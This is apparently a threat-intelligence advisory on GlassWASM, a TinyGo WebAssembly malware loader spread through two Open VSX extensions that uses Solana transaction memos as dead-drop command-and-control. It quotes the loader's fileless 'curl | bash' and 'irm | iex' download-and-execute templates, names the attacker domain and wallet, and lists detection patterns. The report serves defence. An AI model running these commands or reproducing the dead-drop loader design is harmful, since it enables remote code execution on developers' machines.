GlassWASM: TinyGo WebAssembly Malware in Open VSX Extensions Using Solana Blockchain Dead-Drop C2 (GlassWorm Successor)
GlassWASM: TinyGo WebAssembly Malware in Open VSX Extensions (TL-2026-0816), also tracked as GlassWASM, is a critical-severity supply-chain compromise, first published 2026-06-16. It is attributed to GlassWorm developer with medium confidence, affects Open VSX (Eclipse Foundation) Open VSX Registry, maps to 15 MITRE ATT&CK techniques (T1027, T1036, T1059), and is covered by 9 detection rules and 30 indicators of compromise.
Key facts for TL-2026-0816
- Threat ID
- TL-2026-0816
- Also known as
- GlassWASM
- Severity
- CRITICAL
- Status
- ACTIVE
- Category
- SUPPLY_CHAIN
- First published
- 2026-06-16
- Last reviewed
- 2026-06-16
- Attribution
- GlassWorm developer
- Attribution confidence
- MEDIUM
- Motivation
- FINANCIAL
- Target sectors
- technology, software-development, devops, cloud
- Target regions
- Global
- Detection rules
- 9
- Indicators of compromise
- 30
Malware and tooling in GlassWASM: TinyGo WebAssembly Malware in Open VSX Extensions
Malware and tooling: TinyGo (js/wasm)
GlassWASM is a previously undocumented WebAssembly malware loader distributed via two malicious Open VSX registry extensions (exargd/vsblack@0.0.1 and noellee-doc/flint-debug@0.1.1) targeting VS Code forks. A TinyGo-compiled, ChaCha20-string-encrypted Wasm module resolves command-and-control instructions from Solana mainnet transaction memos and executes fileless OS-specific download-and-execute payloads via Node.js child_process. Assessed with medium confidence as a successor to the GlassWorm campaign.
How GlassWASM: TinyGo WebAssembly Malware in Open VSX Extensions works
GlassWASM is a WebAssembly-based supply-chain malware loader publicly documented by Socket.dev on 2026-06-15. It marks an evolution of the GlassWorm campaign: where GlassWorm hid obfuscated JavaScript in VS Code extensions, GlassWASM moves its malicious logic into a TinyGo-compiled WebAssembly (js/wasm) module, sidestepping JavaScript-centric scanners and presenting analysts with a 824,552-byte binary containing 478 functions and 45 data segments and no plaintext network indicators.
Delivery is a cross-registry trust-gap supply-chain attack against the Open VSX registry, which is the default extension marketplace for VS Code forks such as VSCodium, Cursor, Windsurf, and Gitpod. The actor operated GitHub account 'zaitoona43' (UID 291961103), created only three days before publication, to impersonate legitimate publishers and ship two trojanized extensions: exargd/vsblack@0.0.1 (published 2026-06-09) and noellee-doc/flint-debug@0.1.1 (published 2026-06-10).
The Wasm module embeds ChaCha20 runtime string encryption: all URLs, wallet addresses, and command templates are stored encrypted and decrypted only at runtime. The ChaCha20 sigma constant 'expand 32-byte k' sits at linear-memory offset 0x10000, and the 32-byte key is filled into BSS at runtime rather than stored statically, defeating static IOC extraction.
For C2, GlassWASM uses a Solana blockchain dead-drop resolver. It queries the public RPC endpoint https://api.mainnet.solana.com with getSignaturesForAddress (limit:50, paginated via 'before') against attacker wallet 6ExrZayPZzMMSnszc42cH81DpuKT8FhCX9H6Sesn6rpz, then fetches transactions with getTransaction (encoding:'jsonParsed') and parses SPL Memo program instructions (MemoSq4gqABAXKb96qnH8TysNcWxMyWCqXgDLGmfcHr v2 and Memo1UhkJRfHyvLMcVucJwxXeuD728EqVDDwQDxFM v1). The memo payload uses a numeric-prefix format '[N] payload' (e.g. '[9] dodod.lat'); the loader strips the bracketed prefix and treats the remainder as the active C2 host. Because the wallet is the only fixed point and the operator rotates hosts simply by posting new memos, there is no hardcoded server to seize or sinkhole.
The resolved host is interpolated into OS-specific fileless execution templates run through require('child_process').execSync() with windowsHide:true. Observed templates: macOS 'curl -fsSL https://<host>/darwin/i/_ | bash', Linux 'curl -fsSL https://<host>/linux/i/_ | bash', Windows 'powershell -Command "irm https://<host>/win32/i/_ | iex"'. As of 2026-06-11 the active host was dodod.lat (fronted by Cloudflare), serving second-stage payloads from /darwin/i/_, /linux/i/_, and /win32/i/_.
Attribution to the GlassWorm developer is medium confidence, based on three overlaps: an identical Solana-wallet-memo dead-drop mechanism, runtime-decrypted loaders with zero plaintext IOCs, and abuse of Open VSX via impersonating publisher accounts. The key divergence is the move from obfuscated JavaScript to TinyGo WebAssembly and the shift from prior GlassWorm IP-based infrastructure (45.32.150.251, 217.69.3.152, 45.150.34.158) to a domain-based, OS-segmented URL scheme.
MITRE ATT&CK techniques used in TL-2026-0816
Defense Evasion
T1027 Obfuscated Files or Information; T1036 Masquerading; T1140 Deobfuscate/Decode Files or Information; T1564 Hide Artifacts
Execution
T1059 Command and Scripting Interpreter
Command and Control
T1071 Application Layer Protocol; T1090 Proxy; T1102 Web Service; T1105 Ingress Tool Transfer; T1573 Encrypted Channel
Initial Access
T1195 Supply Chain Compromise; T1199 Trusted Relationship
Resource Development
T1583 Acquire Infrastructure; T1585 Establish Accounts; T1587 Develop Capabilities
Affected products and versions in GlassWASM: TinyGo WebAssembly Malware in Open VSX Extensions
- Open VSX (Eclipse Foundation) — Open VSX Registry
Vulnerable versions: registry trust model (cross-registry impersonation) - VSCodium — VSCodium
Vulnerable versions: all using Open VSX default registry - Anysphere — Cursor
Vulnerable versions: all using Open VSX default registry - Codeium — Windsurf
Vulnerable versions: all using Open VSX default registry - Gitpod — Gitpod
Vulnerable versions: all using Open VSX default registry
Remediation for GlassWASM: TinyGo WebAssembly Malware in Open VSX Extensions
Immediate actions
- Block and alert on the domain dodod.lat at DNS/proxy/perimeter
- Alert on outbound Solana JSON-RPC calls to api.mainnet.solana.com from developer/CI hosts and on monitoring of wallet 6ExrZayPZzMMSnszc42cH81DpuKT8FhCX9H6Sesn6rpz
- Remove the malicious extensions exargd/vsblack and noellee-doc/flint-debug from all editor extension directories (VSCodium, Cursor, Windsurf, Gitpod)
Workarounds
- Disable automatic extension updates/installs from Open VSX on managed developer fleets
- Egress-filter developer and CI environments to block public blockchain RPC and untrusted download hosts
Longer-term hardening
- Deploy EDR rules for 'node' spawning bash/curl/powershell or executing 'curl | bash' / 'irm | iex' patterns
- Flag WebAssembly modules importing gojs / syscall/js.* as high-risk in CI and endpoint telemetry
- Implement Wasm-aware static analysis in CI pipelines using wasm2c / wabt for deobfuscation of bundled .wasm assets
- Pin and review extension publishers; enforce allowlists for editor marketplaces and detect cross-registry impersonation
Weaknesses (CWE) in GlassWASM: TinyGo WebAssembly Malware in Open VSX Extensions
CWE-506, CWE-829, CWE-494
Timeline of GlassWASM: TinyGo WebAssembly Malware in Open VSX Extensions
- GlassWorm campaign first publicly documented: self-propagating VS Code extension worm using Solana blockchain memo C2 (predecessor to GlassWASM).
- Earliest identified GlassWASM Solana blockchain dead-drop memo posted to attacker wallet 6ExrZayPZzMMSnszc42cH81DpuKT8FhCX9H6Sesn6rpz.
- GitHub/Open VSX publisher account 'zaitoona43' (UID 291961103) created, ~3 days before first malicious publication.
- Malicious extension exargd/vsblack@0.0.1 published to Open VSX.
- Malicious extension noellee-doc/flint-debug@0.1.1 published to Open VSX.
- Active second-stage C2 host observed as dodod.lat (behind Cloudflare) via Solana memo '[9] dodod.lat'.
- Socket.dev publicly disclosed GlassWASM with full technical analysis and IOCs.
- Threadlinqs Intelligence documented the threat; BeaconBeagle returned no C2 correlations for dodod.lat or historical GlassWorm IPs.
Sources cited for GlassWASM: TinyGo WebAssembly Malware in Open VSX Extensions
- GlassWASM: Malware Hidden in WebAssembly Targets Open VSX Extensions
- GlassWorm on macOS: Malicious VS Code Extensions via Solana
- GlassWorm Returns, Slices Back into VS Code Extensions
- GlassWorm - Self-Propagating VSCode Extension Worm
- GlassWorm Malware Discovered in Three VS Code Extensions with Thousands of Installs
- GlassWorm Returns with 24 Malicious Extensions Impersonating Popular Developer Tools
- GlassWorm VS Code Extension Worm Analysis
Threats related to GlassWASM: TinyGo WebAssembly Malware in Open VSX Extensions
Detection coverage for TL-2026-0816
As of 2026-06-16, Threadlinqs Intelligence publishes 9 detection rule(s) for TL-2026-0816 across Splunk SPL, Microsoft KQL and Sigma, covering 30 indicator(s) of compromise. The whole corpus is readable without an account; a free account unlocks full detection query text in Splunk SPL, Microsoft KQL and Sigma; paid tiers add raw indicator values, correlation and the MCP server. Threadlinqs MCP server · View plans.